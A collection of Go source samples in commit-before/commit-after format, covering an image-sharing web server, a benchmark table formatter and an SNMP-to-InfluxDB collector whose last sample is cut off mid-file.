 * (c) 2014, Caoimhe Chaos <caoimhechaos@protonmail.com>,
 *	     Ancient Solutions. All rights reserved.
 *
 * Redistribution and use in source  and binary forms, with or without
 * modification, are permitted  provided that the following conditions
 * are met:
 *
 * * Redistributions of  source code  must retain the  above copyright
 *   notice, this list of conditions and the following disclaimer.
 * * Redistributions in binary form must reproduce the above copyright
 *   notice, this  list of conditions and the  following disclaimer in
 *   the  documentation  and/or  other  materials  provided  with  the
 *   distribution.
 * * Neither  the  name  of  Ancient Solutions  nor  the  name  of its
 *   contributors may  be used to endorse or  promote products derived
 *   from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
 * "AS IS"  AND ANY EXPRESS  OR IMPLIED WARRANTIES  OF MERCHANTABILITY
 * AND FITNESS  FOR A PARTICULAR  PURPOSE ARE DISCLAIMED. IN  NO EVENT
 * SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,
 * INDIRECT, INCIDENTAL, SPECIAL,  EXEMPLARY, OR CONSEQUENTIAL DAMAGES
 * (INCLUDING, BUT NOT LIMITED  TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE,  DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
 * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
 * STRICT  LIABILITY,  OR  TORT  (INCLUDING NEGLIGENCE  OR  OTHERWISE)
 * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
 * OF THE POSSIBILITY OF SUCH DAMAGE.
 */

package main

import (
	"flag"
	"html/template"
	"log"
	"net/http"

	"ancient-solutions.com/ancientauth"
)

func main() {
	var app_name, cert_file, key_file, ca_bundle, authserver string
	var bind, dbserver, dbname, skel_path, upload_path, static_path string
	var num_pics, num_own int
	var skel, upload *template.Template
	var auth *ancientauth.Authenticator
	var db *PikShrDB
	var err error

	flag.StringVar(&app_name, "app-name", "PicShr image sharing",
		"Application name to present to the authentication server")
	flag.StringVar(&cert_file, "cert", "pikshr.crt",
		"Service certificate for PikShr")
	flag.StringVar(&key_file, "key", "pikshr.key",
		"Private serivce key for PikShr")
	flag.StringVar(&ca_bundle, "cacert", "ca.crt",
		"Path to CA certificates to authenticate the login service")
	flag.StringVar(&authserver, "auth-server", "login.ancient-solutions.com",
		"Host name of the authentication service to use")

	flag.StringVar(&static_path, "static-path", ".",
		"Path to the required static files for the web interface")
	flag.StringVar(&skel_path, "skeleton-template", "",
		"Path to the skeleton template to use for displaying the "+
			"pictures. Default: skel.html in static_path")
	flag.StringVar(&upload_path, "upload-template", "",
		"Path to the upload template which is essentially the main "+
			"page. Default: upload.html in skel_path")

	flag.StringVar(&bind, "bind", "[::]:8080",
		"host:port pair to bind the web server to")
	flag.StringVar(&dbserver, "cassandra-server", "localhost:9160",
		"Host name of the Cassandra database server to use")
	flag.StringVar(&dbname, "cassandra-dbname", "pikshr",
		"Name of the Cassandra keyspace the images etc. are stored in")

	flag.IntVar(&num_pics, "pics-per-page", 32,
		"Number of pictures to display on the home page")
	flag.IntVar(&num_own, "own-pics-per-page", 8,
		"Number of _own_ pictures to display on the home page")

	flag.Parse()

	if skel_path == "" {
		upload_path = skel_path + "/skel.html"
	}
	if upload_path == "" {
		upload_path = static_path + "/upload.html"
	}

	skel, err = template.ParseFiles(skel_path)
	if err != nil {
		log.Fatal("Unable to parse template ", skel_path, ": ", err)
	}
	upload, err = template.ParseFiles(upload_path)
	if err != nil {
		log.Fatal("Unable to parse template ", upload_path, ": ", err)
	}

	auth, err = ancientauth.NewAuthenticator(
		app_name, cert_file, key_file, ca_bundle, authserver)
	if err != nil {
		log.Fatal("Error creating authenticator: ", err)
	}

	db, err = NewPikShrDB(dbserver, dbname)
	if err != nil {
		log.Fatal("Error connecting to database ", dbname, " at ",
			dbserver, ": ", err)
	}

	http.Handle("/css/", http.FileServer(http.Dir(static_path)))
	http.Handle("/js/", http.FileServer(http.Dir(static_path)))
	http.Handle("/fonts/", http.FileServer(http.Dir(static_path)))

	http.Handle("/", &WebPikShrService{
		auth:     auth,
		db:       db,
		skel:     skel,
		upload:   upload,
		num_pics: int32(num_pics),
		num_own:  int32(num_own),
	})
	err = http.ListenAndServe(bind, nil)
	if err != nil {
		log.Fatal("Error serving HTTP on ", bind, ": ", err)
	}
}
<|endoftext|>


<commit_before>package main

import (
	"github.com/neilvallon/cmplr/project"
	"fmt"
)

func main() {
	cfg, err := project.ReadConfig()
	if err != nil {
		panic("Error parsing config file.")
	}

	fmt.Printf("Project: %s\n", cfg.ProjectName)

	for _, j := range cfg.Jobs {
		if err := j.Run(); err != nil {
			fmt.Printf("\nCould not compile file: %s\n", j.Outputfile)
			fmt.Println(err)
		} else {
			fmt.Printf("\nSuccessfully compiled: %s\n", j.Outputfile)
		}
	}
}
<commit_msg>Print center padded file names to console before compiling<commit_after>package main

import (
	"github.com/neilvallon/cmplr/project"
	"fmt"
	"strings"
	"path/filepath"
)

func main() {
	cfg, err := project.ReadConfig()
	if err != nil {
		panic("Error parsing config file.")
	}

	fmt.Printf("Project: %s\n", cfg.ProjectName)

	for _, j := range cfg.Jobs {
		PrintHeader(filepath.Base(j.Outputfile))
		if err := j.Run(); err != nil {
			fmt.Println(err)
		}
	}
	fmt.Println("Done.")
}

func PrintHeader(f string) {
	padwidth := 2
	if l := len(f); l < 78 {
		padwidth = 78 - l
	}

	pl := padwidth / 2
	pr := padwidth - pl
	fmt.Printf("%s %s %s\n", strings.Repeat("#", pl), f, strings.Repeat("#", pr))
}
<|endoftext|>


<commit_before>package main

import (
	"bufio"
	"fmt"
	"io"
	"os"
	"regexp"
	"sort"
	"strconv"
	"strings"
	"time"

	"github.com/apcera/termtables"
)

var (
	r  = regexp.MustCompile(`\s+`)
	r2 = regexp.MustCompile(`-\d+$`)
	r3 = regexp.MustCompile(`(?i:)(Benchmark_?)`)
)

type benchLine struct {
	Name         string
	FnIterations int
	Iterations   int
	Speed        float64
	Bps          int
	Aps          int
	Status       string
}

var lines [][]byte

func main() {
	// old := os.Stdout // keep backup of the real stdout
	// r, w, err := os.Pipe()
	// if err != nil {
	// 	log.Fatal(err)
	// }
	// os.Stdout = w
	//
	// // print() // fails if called here "fatal error: all goroutines are asleep - deadlock"
	//
	// outC := make(chan bytes.Buffer)
	// // copy the output in a separate goroutine so printing can't block indefinitely
	// go func() {
	// 	var buf bytes.Buffer
	// 	io.Copy(&buf, r)
	// 	outC <- buf
	// }()
	//
	// // back to normal state
	// w.Close()
	// os.Stdout = old // restoring the real stdout
	// out := <-outC
	//
	// // reading our temp stdout
	//
	// //fmt.Print(out)
	//
	// var reader *bufio.Reader
	// if len(out.Bytes()) > 0 {
	// 	reader = bufio.NewReader(&out)
	// } else {
	// 	reader = bufio.NewReader(os.Stdin)
	// }

	fmt.Print("\n")
	reader := bufio.NewReader(os.Stdin)
	quit := make(chan bool)
	go loading(quit)

	for {
		text, err := reader.ReadBytes('\n')
		if err != nil {
			if err != io.EOF {
				panic(err)
			}
			break
		}
		lines = append(lines, text)
	}
	close(quit)

	benchMap := getNameToBenchmarkLinesMap(lines)
	hasFnIterations, speedTblHeader := getInfoForLines(benchMap)

	table := termtables.CreateTable()
	if hasFnIterations {
		table.AddHeaders(bold("Name"), bold("Iterations"), bold("No."), bold(speedTblHeader+"/op"), bold("B/op"), bold("allocations/op"), "")
	} else {
		table.AddHeaders(bold("Name"), bold("No."), bold(speedTblHeader+"/op"), bold("B/op"), bold("allocations/op"), "")
	}

	i := len(benchMap)
	sorted := make([]string, 0, len(benchMap))
	for name := range benchMap {
		sorted = append(sorted, name)
	}
	sort.Sort(sort.StringSlice(sorted))

	for _, benchName := range sorted {
		benchLines := benchMap[benchName]

		for j, b := range benchLines {
			var name string
			if j == 0 {
				name = bold(b.Name)
			}

			if hasFnIterations {
				fnIterations := strconv.Itoa(b.FnIterations)

				if fnIterations == "-1" {
					fnIterations = ""
				}

				table.AddRow(name, fnIterations, b.Iterations, b.Speed, b.Bps, b.Aps, b.Status)
			} else {
				table.AddRow(name, b.Iterations, b.Speed, b.Bps, b.Aps, b.Status)
			}
		}

		i--
		if i > 0 {
			table.AddSeparator()
		}
	}

	table.SetAlign(termtables.AlignLeft, 1)
	table.SetAlign(termtables.AlignRight, 2)
	table.SetAlign(termtables.AlignRight, 3)
	table.SetAlign(termtables.AlignRight, 4)
	table.SetAlign(termtables.AlignRight, 5)
	table.SetAlign(termtables.AlignRight, 6)

	fmt.Print("\r")
	footer := strings.TrimSpace(string(lines[len(lines)-1]))
	footer = strings.Replace(footer, "\t", "     ", -1)
	padLeft := (table.Style.Width - len(footer)) / 4
	for i := 0; i < padLeft; i++ {
		fmt.Print(bold(" "))
	}
	fmt.Print(bold(footer))
	fmt.Print("\n")
	for i := 0; i < padLeft-1; i++ {
		fmt.Print(bold(" "))
	}
	fmt.Print(bold("+"))
	for range footer {
		fmt.Print(bold("-"))
	}
	fmt.Print(bold("+"))
	fmt.Print("\n")

	fmt.Println(table.Render())
}

func getNameToBenchmarkLinesMap(lines [][]byte) map[string][]*benchLine {
	benchMap := make(map[string][]*benchLine)

	for _, l := range lines[1 : len(lines)-1] {
		bl := newbenchLineFromString(string(l))
		if _, ok := benchMap[bl.Name]; !ok {
			benchMap[bl.Name] = make([]*benchLine, 0)
		}
		benchMap[bl.Name] = append(benchMap[bl.Name], bl)
	}

	return benchMap
}

func newbenchLineFromString(s string) *benchLine {
	//qwe := "Benchmark_Sort_1000-8                	   20000	     84093 ns/op	      32 B/op	       1 allocs/op"

	y := r.Split(s, -1)
	x := r2.ReplaceAllString(y[0], "")
	c := r3.ReplaceAllString(x, "")
	lastIndex := strings.LastIndex(c, "_")

	var name string
	var fnIter int

	if lastIndex > -1 {
		name = c[:lastIndex]
		fnIter, _ = strconv.Atoi(c[lastIndex+1:])
	} else {
		name = c
		fnIter = -1
	}

	iter, err := strconv.Atoi(y[1])
	if err != nil {
		iter = -1
	}
	speed, err := strconv.ParseFloat(y[2], 64)
	if err != nil {
		speed = -1
	}
	bps, err := strconv.Atoi(y[4])
	if err != nil {
		bps = -1
	}
	aps, err := strconv.Atoi(y[6])
	if err != nil {
		aps = -1
	}

	return &benchLine{
		Name:         name,
		FnIterations: fnIter,
		Iterations:   iter,
		Speed:        speed,
		Bps:          bps,
		Aps:          aps,
	}
}

func getInfoForLines(bm map[string][]*benchLine) (bool, string) {
	var slowest float64
	var hasIterations = false
	var speedTblHeader = "ns"

	for _, bl := range bm {

		bestSpeedPerLine := float64(-1)
		bestLine := 0
		worstLine := 0

		for i, l := range bl {

			if l.FnIterations > -1 {
				hasIterations = true
			}

			if slowest < l.Speed {
				slowest = l.Speed
				worstLine = i
			}

			if bestSpeedPerLine == -1 || bestSpeedPerLine > l.Speed {
				bestSpeedPerLine = l.Speed
				bestLine = i
			}
		}

		bl[worstLine].Status = red("✘")
		bl[bestLine].Status = green("✔")
	}

	switch {
	case slowest <= 1e3:
		speedTblHeader = "ns"
	case slowest > 1e3 && slowest <= 1e6:
		speedTblHeader = "µs"
		updateSpeedVals(bm, float64(1e3))
	case slowest > 1e6 && slowest <= 1e9:
		speedTblHeader = "ms"
		updateSpeedVals(bm, float64(1e6))
	case slowest > 1e9:
		speedTblHeader = "s"
		updateSpeedVals(bm, float64(1e9))
	}

	return hasIterations, speedTblHeader
}

func updateSpeedVals(bm map[string][]*benchLine, f float64) {
	for _, bl := range bm {
		for _, l := range bl {
			l.Speed = l.Speed / f
		}
	}
}

func loading(q chan bool) {
	states := []string{"|", "/", "-", "\\", "|", "/", "–", "\\"}
	current := 0

	for {
		select {
		case <-time.Tick(150 * time.Millisecond):
			fmt.Printf("\r%s", states[current])
			if current == len(states)-1 {
				current = 0
			} else {
				current++
			}
		case <-q:
			break
		}
	}
}

func bold(s string) string {
	return fmt.Sprintf("\033[1m%s\033[0m", s)
}

func green(s string) string {
	return fmt.Sprintf("\033[32m%s\033[0m", s)
}

func blue(s string) string {
	return fmt.Sprintf("\033[34m%s\033[0m", s)
}

func red(s string) string {
	return fmt.Sprintf("\033[31m%s\033[0m", s)
}
<commit_msg>clean up messy code<commit_after>// prettybenchmark: format go benchmarks into tables
//
// Usage: Pipe your benchmark results into "pb"
//    go test -bench=. [-benchmem] | pb
package main

import (
	"bufio"
	"bytes"
	"fmt"
	"io"
	"os"
	"regexp"
	"sort"
	"strconv"
	"strings"
	"time"

	"github.com/apcera/termtables"
)

var (
	byWhitespace = regexp.MustCompile(`\s+`)
	byRuns       = regexp.MustCompile(`-\d+$`)
	byIterations = regexp.MustCompile(`(?i:)(Benchmark_?)`)
)

type (
	Foo       struct{}
	benchmark struct {
		info    *benchmarkInfo
		results *results
	}
	benchmarkInfo struct {
		hasFnIterations bool
		benchmemUsed    bool
		suggestedTiming string
	}
	results map[string][]*result
	result  struct {
		Name         string
		FnIterations int
		Runs         int
		Speed        float64
		Bps          int
		Aps          int
	}
)

type sortByFnIterations []*result

func (b sortByFnIterations) Len() int           { return len(b) }
func (b sortByFnIterations) Swap(i, j int)      { b[i], b[j] = b[j], b[i] }
func (b sortByFnIterations) Less(i, j int) bool { return b[i].FnIterations < b[j].FnIterations }

var (
	lines [][]byte
	table *termtables.Table
	bench *benchmark
)

func main() {

	reader := bufio.NewReader(os.Stdin)
	quit := make(chan bool)
	go loading(quit)

	for {
		text, err := reader.ReadBytes('\n')
		if err != nil {
			if err != io.EOF {
				panic(err)
			}
			break
		}
		lines = append(lines, text)
	}
	close(quit)

	bench = newBenchmark(lines)

	table = termtables.CreateTable()
	addTableHeader(table)
	addTableBody(table)

	fmt.Print("\r \n")
	fmt.Println(table.Render())
	fmt.Println(footer())
}

func newBenchmark(l [][]byte) *benchmark {
	results := newResults(l)
	return &benchmark{
		info:    newBenchmarkInfo(results),
		results: results,
	}
}

func newResults(l [][]byte) *results {
	benchMap := make(results)

	for _, l := range l[1 : len(l)-1] {
		bl := newResult(l)
		if bl != nil {
			if _, ok := benchMap[bl.Name]; !ok {
				benchMap[bl.Name] = make([]*result, 0)
			}
			benchMap[bl.Name] = append(benchMap[bl.Name], bl)
		}
	}

	for _, r := range benchMap {
		sort.Sort(sortByFnIterations(r))
	}

	return &benchMap
}

func newResult(b []byte) *result {
	var (
		name   string
		fnIter int
		bps    int
		aps    int
		err    error
		iter   int
		speed  float64
	)

	s := string(b)
	parts := byWhitespace.Split(s, -1)
	nameRuns := byRuns.ReplaceAllString(parts[0], "")
	nameIterations := byIterations.ReplaceAllString(nameRuns, "")
	lastIndex := strings.LastIndex(nameIterations, "_")

	if lastIndex > -1 {
		name = nameIterations[:lastIndex]
		fnIter, _ = strconv.Atoi(nameIterations[lastIndex+1:])
	} else {
		name = nameIterations
		fnIter = -1
	}

	//just print the line if it doesn't have the correct format
	if len(parts) < 4 {
		fmt.Println(s)
		return nil
	}

	iter, err = strconv.Atoi(parts[1])
	if err != nil {
		iter = -1
	}
	speed, err = strconv.ParseFloat(parts[2], 64)
	if err != nil {
		speed = -1
	}

	if len(parts) > 5 {
		bps, err = strconv.Atoi(parts[4])
		if err != nil {
			bps = -1
		}
		aps, err = strconv.Atoi(parts[6])
		if err != nil {
			aps = -1
		}
	} else {

		//without benchmem
		bps = -1
		aps = -1
	}

	return &result{
		Name:         name,
		FnIterations: fnIter,
		Runs:         iter,
		Speed:        speed,
		Bps:          bps,
		Aps:          aps,
	}
}

func newBenchmarkInfo(r *results) *benchmarkInfo {
	var (
		slowest         float64
		hasFnIterations bool
		benchmemUsed    bool
		suggestedTiming string
	)
	suggestedTiming = "ns"

	for _, bl := range *r {
		for _, l := range bl {

			if l.FnIterations > -1 {
				hasFnIterations = true
			}

			if l.Aps > -1 && l.Bps > -1 {
				benchmemUsed = true
			}

			if slowest < l.Speed {
				slowest = l.Speed
			}
		}
	}

	switch {
	case slowest <= 1e3:
		suggestedTiming = "ns"
	case slowest > 1e3 && slowest <= 1e6:
		suggestedTiming = "µs"
		updateSpeedVals(r, float64(1e3))
	case slowest > 1e6 && slowest <= 1e9:
		suggestedTiming = "ms"
		updateSpeedVals(r, float64(1e6))
	case slowest > 1e9:
		suggestedTiming = "s"
		updateSpeedVals(r, float64(1e9))
	}

	return &benchmarkInfo{hasFnIterations, benchmemUsed, suggestedTiming}
}

func updateSpeedVals(r *results, f float64) {
	for _, bl := range *r {
		for _, l := range bl {
			l.Speed = l.Speed / f
		}
	}
}

func footer() string {

	lastLine := bytes.Replace(
		bytes.TrimSpace(lines[len(lines)-1]),
		[]byte{9},
		[]byte{32, 32, 32, 32, 32},
		-1,
	)
	footer := make([]byte, 0, len(lastLine)*2+1)

	footer = append(
		footer,
		lastLine...,
	)

	footer = append(footer, byte(10))
	footer = append(footer, byte(43))
	for i := 0; i < len(lastLine)-2; i++ {
		footer = append(footer, byte(45))
	}
	footer = append(footer, byte(43))

	return bold(string(footer))
}

func addTableHeader(t *termtables.Table) {
	if bench.info.benchmemUsed {
		if bench.info.hasFnIterations {
			t.AddHeaders(bold("Name"), bold("Iterations"), bold("Runs"), bold(bench.info.suggestedTiming+"/op"), bold("B/op"), bold("allocations/op"), "")
		} else {
			t.AddHeaders(bold("Name"), bold("Runs"), bold(bench.info.suggestedTiming+"/op"), bold("B/op"), bold("allocations/op"), "")
		}
	} else {
		if bench.info.hasFnIterations {
			t.AddHeaders(bold("Name"), bold("Iterations"), bold("Runs"), bold(bench.info.suggestedTiming+"/op"), "")
		} else {
			t.AddHeaders(bold("Name"), bold("Runs"), bold(bench.info.suggestedTiming+"/op"), "")
		}
	}
}

func addTableBody(t *termtables.Table) {
	i := len(*bench.results)
	sorted := make([]string, 0, i)
	for name := range *bench.results {
		sorted = append(sorted, name)
	}
	sort.Sort(sort.StringSlice(sorted))

	for _, benchName := range sorted {
		results := (*bench.results)[benchName]

		for j, b := range results {
			var name string
			if j == 0 {
				name = bold(b.Name)
			}

			if bench.info.benchmemUsed {
				if bench.info.hasFnIterations {
					fnIterations := strconv.Itoa(b.FnIterations)

					if fnIterations == "-1" {
						fnIterations = ""
					}

					t.AddRow(name, fnIterations, b.Runs, b.Speed, b.Bps, b.Aps, "⬅")
				} else {
					t.AddRow(name, b.Runs, b.Speed, b.Bps, b.Aps, "⬅")
				}
			} else {
				if bench.info.hasFnIterations {
					fnIterations := strconv.Itoa(b.FnIterations)

					if fnIterations == "-1" {
						fnIterations = ""
					}

					t.AddRow(name, fnIterations, b.Runs, b.Speed, "⬅")
				} else {
					t.AddRow(name, b.Runs, b.Speed, "⬅")
				}
			}
		}

		i--
		if i > 0 {
			t.AddSeparator()
		}
	}

	t.SetAlign(termtables.AlignLeft, 1)
	t.SetAlign(termtables.AlignRight, 2)
	t.SetAlign(termtables.AlignRight, 3)
	t.SetAlign(termtables.AlignRight, 4)
	t.SetAlign(termtables.AlignRight, 5)
	t.SetAlign(termtables.AlignRight, 6)
}

func loading(q chan bool) {
	states := []string{"|", "/", "-", "\\", "|", "/", "–", "\\"}
	current := 0

	for {
		select {
		case <-time.Tick(150 * time.Millisecond):
			fmt.Printf("\r%s", states[current])
			if current == len(states)-1 {
				current = 0
			} else {
				current++
			}
		case <-q:
			break
		}
	}
}

func bold(s string) string {
	return fmt.Sprintf("\033[1m%s\033[0m", s)
}
<|endoftext|>


<commit_before>package main

import (
	"flag"
	"fmt"
	"io/ioutil"
	"log"
	"os"
	"path/filepath"
	"strings"
	"sync"
	"sync/atomic"
	"time"

	"bitbucket.org/kardianos/osext"
	"code.google.com/p/gcfg"
	"github.com/influxdb/influxdb/client"
	"github.com/soniah/gosnmp"
)

const layout = "2006-01-02 15:04:05"

type SnmpConfig struct {
	Host      string `gcfg:"host"`
	Public    string `gcfg:"community"`
	Port      int    `gcfg:"port"`
	Retries   int    `gcfg:"retries"`
	Timeout   int    `gcfg:"timeout"`
	Repeat    int    `gcfg:"repeat"`
	Freq      int    `gcfg:"freq"`
	PortFile  string `gcfg:"portfile"`
	Config    string `gcfg:"config"`
	labels    map[string]string
	asName    map[string]string
	asOID     map[string]string
	oids      []string
	mib       *MibConfig
	Influx    *InfluxConfig
	LastError time.Time
	Requests  int64
	Gets      int64
	Errors    int64
	debugging chan bool
	enabled   chan chan bool
}

type InfluxConfig struct {
	Host      string `gcfg:"host"`
	Port      int    `gcfg:"port"`
	DB        string `gcfg:"db"`
	User      string `gcfg:"user"`
	Password  string `gcfg:"password"`
	Retention string `gcfg:"retention"`
	iChan     chan *client.BatchPoints
	conn      *client.Client
	Sent      int64
	Errors    int64
}

type HTTPConfig struct {
	Port int `gcfg:"port"`
}

type GeneralConfig struct {
	LogDir  string `gcfg:"logdir"`
	OidFile string `gcfg:"oidfile"`
}

type MibConfig struct {
	Scalers bool     `gcfg:"scalers"`
	Name    string   `gcfg:"name"`
	Columns []string `gcfg:"column"`
}

var (
	quit          = make(chan struct{})
	verbose       bool
	startTime     = time.Now()
	testing       bool
	snmpNames     bool
	repeat        = 0
	freq          = 30
	httpPort      = 8080
	oidToName     = make(map[string]string)
	nameToOid     = make(map[string]string)
	appdir, _     = osext.ExecutableFolder()
	logDir        = filepath.Join(appdir, "log")
	oidFile       = filepath.Join(appdir, "oids.txt")
	configFile    = filepath.Join(appdir, "config.gcfg")
	errorLog      *os.File
	errorDuration = time.Duration(10 * time.Minute)
	errorPeriod   = errorDuration.String()
	errorMax      = 100
	errorName     string

	cfg = struct {
		Snmp    map[string]*SnmpConfig
		Mibs    map[string]*MibConfig
		Influx  map[string]*InfluxConfig
		HTTP    HTTPConfig
		General GeneralConfig
	}{}
)

func fatal(v ...interface{}) {
	log.SetOutput(os.Stderr)
	log.Fatalln(v...)
}

func (c *SnmpConfig) DebugAction() string {
	debug := make(chan bool)
	c.enabled <- debug
	if <-debug {
		return "disable"
	}
	return "enable"
}

func (c *SnmpConfig) LoadPorts() {
	c.labels = make(map[string]string)
	if len(c.PortFile) == 0 {
		return
	}
	data, err := ioutil.ReadFile(filepath.Join(appdir, c.PortFile))
	if err != nil {
		log.Fatal(err)
	}
	for _, line := range strings.Split(string(data), "\n") {
		// strip comments
		comment := strings.Index(line, "#")
		if comment >= 0 {
			line = line[:comment]
		}
		f := strings.Fields(line)
		if len(f) < 2 {
			continue
		}
		c.labels[f[0]] = f[1]
	}
}

func (c *SnmpConfig) incRequests() {
	atomic.AddInt64(&c.Requests, 1)
}

func (c *SnmpConfig) incGets() {
	atomic.AddInt64(&c.Gets, 1)
}

func (c *SnmpConfig) incErrors() {
	atomic.AddInt64(&c.Errors, 1)
}

func (c *InfluxConfig) incErrors() {
	atomic.AddInt64(&c.Errors, 1)
}

func (c *InfluxConfig) incSent() {
	atomic.AddInt64(&c.Sent, 1)
}

// loads [last_octet]name for device
func (c *SnmpConfig) Translate() {
	client, err := snmpClient(c)
	if err != nil {
		fatal("Client connect error:", err)
	}
	defer client.Conn.Close()
	spew("Looking up column names for:", c.Host)
	pdus, err := client.BulkWalkAll(nameOid)
	if err != nil {
		fatal("SNMP bulkwalk error", err)
	}
	c.asName = make(map[string]string)
	c.asOID = make(map[string]string)
	for _, pdu := range pdus {
		switch pdu.Type {
		case gosnmp.OctetString:
			i := strings.LastIndex(pdu.Name, ".")
			suffix := pdu.Name[i+1:]
			name := string(pdu.Value.([]byte))
			_, ok := c.labels[name]
			if len(c.PortFile) == 0 || ok {
				c.asName[name] = suffix
				c.asOID[suffix] = name
			}
		}
	}
	// make sure we got everything
	for k := range c.labels {
		if _, ok := c.asName[k]; !ok {
			fatal("No OID found for:", k)
		}
	}

}

func spew(x ...interface{}) {
	if verbose {
		fmt.Println(x...)
	}
}

func (c *SnmpConfig) OIDs() {
	if c.mib == nil {
		fatal("NO MIB!")
	}
	c.oids = []string{}
	for _, col := range c.mib.Columns {
		base, ok := nameToOid[col]
		if !ok {
			fatal("no oid for col:", col)
		}
		// just named columns
		if len(c.PortFile) > 0 {
			for k := range c.asOID {
				c.oids = append(c.oids, base+"."+k)
			}
		} else if c.mib.Scalers {
			// or plain old scaler instances
			c.oids = append(c.oids, base+".0")
		} else {
			c.oids = append(c.oids, base)
		}
	}
	if len(c.mib.Columns) > 0 {
		spew("COLUMNS", c.mib.Columns)
		spew(c.oids)
	}
}

// load oid lookup data
func init() {
	data, err := ioutil.ReadFile(oidFile)
	if err != nil {
		log.Fatal(err)
	}
	for _, line := range strings.Split(string(data), "\n") {
		f := strings.Fields(line)
		if len(f) < 2 {
			continue
		}
		nameToOid[f[0]] = f[1]
		oidToName[f[1]] = f[0]
	}
}

func flags() *flag.FlagSet {
	var f flag.FlagSet
	f.BoolVar(&testing, "testing", testing, "print data w/o saving")
	f.BoolVar(&snmpNames, "names", snmpNames, "print column names and exit")
	f.StringVar(&configFile, "config", configFile, "config file")
	f.BoolVar(&verbose, "verbose", verbose, "verbose mode")
	f.IntVar(&repeat, "repeat", repeat, "number of times to repeat")
	f.IntVar(&freq, "freq", freq, "delay (in seconds)")
	f.IntVar(&httpPort, "http", httpPort, "http port")
	f.StringVar(&logDir, "logs", logDir, "log directory")
	f.Usage = func() {
		fmt.Fprintf(os.Stderr, "Usage of %s:\n", os.Args[0])
		f.VisitAll(func(flag *flag.Flag) {
			format := "%10s: %s\n"
			fmt.Fprintf(os.Stderr, format, "-"+flag.Name, flag.Usage)
		})
		fmt.Fprintf(os.Stderr, "\nAll settings can be set in config file: %s\n", configFile)
		os.Exit(1)

	}
	return &f
}

func init() {
	// parse first time to see if config file is being specified
	f := flags()
	f.Parse(os.Args[1:])
	// now load up config settings
	if _, err := os.Stat(configFile); err != nil {
		log.Fatal(err)
	} else {
		data, err := ioutil.ReadFile(configFile)
		if err != nil {
			log.Fatal(err)
		}
		err = gcfg.ReadStringInto(&cfg, string(data))
		if err != nil {
			log.Fatalf("Failed to parse gcfg data: %s", err)
		}
		httpPort = cfg.HTTP.Port
	}

	if len(cfg.General.LogDir) > 0 {
		logDir = cfg.General.LogDir
	}
	if len(cfg.General.OidFile) > 0 {
		oidFile = cfg.General.OidFile
	}

	for _, s := range cfg.Snmp {
		s.LoadPorts()
		s.debugging = make(chan bool)
		s.enabled = make(chan chan bool)
	}
	var ok bool
	for name, c := range cfg.Snmp {
		if c.mib, ok = cfg.Mibs[name]; !ok {
			if c.mib, ok = cfg.Mibs["*"]; !ok {
				fatal("No mib data found for config:", name)
			}
		}
		c.Translate()
		c.OIDs()
        if c.Freq == 0 {
            c.Freq = freq
        }
	}

	// only run when one needs to see the interface names of the device
	if snmpNames {
		for _, c := range cfg.Snmp {
			fmt.Println("\nSNMP host:", c.Host)
			fmt.Println("=========================================")
			printSnmpNames(c)
		}
		os.Exit(0)
	}

	// re-read cmd line args to override as indicated
	f = flags()
	f.Parse(os.Args[1:])
	os.Mkdir(logDir, 0755)

	// now make sure each snmp device has a db
	for name, c := range cfg.Snmp {
		// default is to use name of snmp config, but it can be overridden
		if len(c.Config) > 0 {
			name = c.Config
		}
		if c.Influx, ok = cfg.Influx[name]; !ok {
			if c.Influx, ok = cfg.Influx["*"]; !ok {
				fatal("No influx config for snmp device:", name)
			}
		}
		c.Influx.Init()
	}

	var ferr error
	errorName = fmt.Sprintf("error.%d.log", cfg.HTTP.Port)
	errorPath := filepath.Join(logDir, errorName)
	errorLog, ferr = os.OpenFile(errorPath, os.O_CREATE|os.O_RDWR|os.O_APPEND, 0664)
	if ferr != nil {
		log.Fatal("Can't open error log:", ferr)
	}
}

func errLog(msg string, args ...interface{}) {
	fmt.Fprintf(os.Stderr, msg, args...)
	fmt.Fprintf(errorLog, msg, args...)
}

func errMsg(msg string, err error) {
	now := time.Now()
	errLog("%s\t%s: %s\n", now.Format(layout), msg, err)
}

func main() {
	var wg sync.WaitGroup
	defer func() {
		errorLog.Close()
	}()
	for _, c := range cfg.Snmp {
		wg.Add(1)
		go c.Gather(repeat, &wg)
	}
	if repeat > 0 {
		wg.Wait()
	} else {
		if httpPort > 0 {
			webServer(httpPort)
		} else {
			<-quit
		}
	}
}
<commit_msg>formatting<commit_after>package main

import (
	"flag"
	"fmt"
	"io/ioutil"
	"log"
	"os"
	"path/filepath"
	"strings"
	"sync"
	"sync/atomic"
	"time"

	"bitbucket.org/kardianos/osext"
	"code.google.com/p/gcfg"
	"github.com/influxdb/influxdb/client"
	"github.com/soniah/gosnmp"
)

const layout = "2006-01-02 15:04:05"

type SnmpConfig struct {
	Host      string `gcfg:"host"`
	Public    string `gcfg:"community"`
	Port      int    `gcfg:"port"`
	Retries   int    `gcfg:"retries"`
	Timeout   int    `gcfg:"timeout"`
	Repeat    int    `gcfg:"repeat"`
	Freq      int    `gcfg:"freq"`
	PortFile  string `gcfg:"portfile"`
	Config    string `gcfg:"config"`
	labels    map[string]string
	asName    map[string]string
	asOID     map[string]string
	oids      []string
	mib       *MibConfig
	Influx    *InfluxConfig
	LastError time.Time
	Requests  int64
	Gets      int64
	Errors    int64
	debugging chan bool
	enabled   chan chan bool
}

type InfluxConfig struct {
	Host      string `gcfg:"host"`
	Port      int    `gcfg:"port"`
	DB        string `gcfg:"db"`
	User      string `gcfg:"user"`
	Password  string `gcfg:"password"`
	Retention string `gcfg:"retention"`
	iChan     chan *client.BatchPoints
	conn      *client.Client
	Sent      int64
	Errors    int64
}

type HTTPConfig struct {
	Port int `gcfg:"port"`
}

type GeneralConfig struct {
	LogDir  string `gcfg:"logdir"`
	OidFile string `gcfg:"oidfile"`
}

type MibConfig struct {
	Scalers bool     `gcfg:"scalers"`
	Name    string   `gcfg:"name"`
	Columns []string `gcfg:"column"`
}

var (
	quit          = make(chan struct{})
	verbose       bool
	startTime     = time.Now()
	testing       bool
	snmpNames     bool
	repeat        = 0
	freq          = 30
